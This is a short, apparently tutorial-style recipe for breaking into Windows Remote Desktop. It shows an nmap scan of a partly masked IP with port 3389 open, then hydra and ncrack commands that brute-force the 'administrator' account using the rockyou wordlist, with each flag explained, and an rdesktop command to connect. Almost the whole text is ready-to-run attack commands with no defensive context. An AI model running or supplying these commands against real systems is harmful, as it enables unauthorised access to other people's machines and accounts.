$ nmap your_target

Starting Nmap 7.01 ( https://nmap.org ) at 2016-09-20 17:29 CST
Nmap scan report for ns514636.ip-192-95-xx.net (192.95.xx.xx)
Host is up (0.28s latency).
Not shown: 988 closed ports
PORT      STATE    SERVICE
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
593/tcp   filtered http-rpc-epmap
3389/tcp  open     ms-wbt-server   # 这个是远程桌面端口
4444/tcp  filtered krb524
6667/tcp  filtered irc
49152/tcp open     unknown
49153/tcp open     unknown
49154/tcp open     unknown
49155/tcp open     unknown
49163/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 28.14 seconds

hydra -t 4 -V -l administrator -P /usr/share/wordlists/rockyou.txt rdp://your_target

-t = TASKS run TASKS number of connects in parallel (per host, default: 16) RDP set to maximum of 4.
-V = Verbose shows you the attempted passwords.
-l = Username
-P = Password list
rdp:// = Port 3389

ncrack -p 3389 -v -user administrator -P /usr/share/wordlists/rockyou.txt 192.95.xx.xx

-p = Port number
-v = Verbose shows you any found passwords in realtime
-user = username
-P = Password list

rdesktop your_target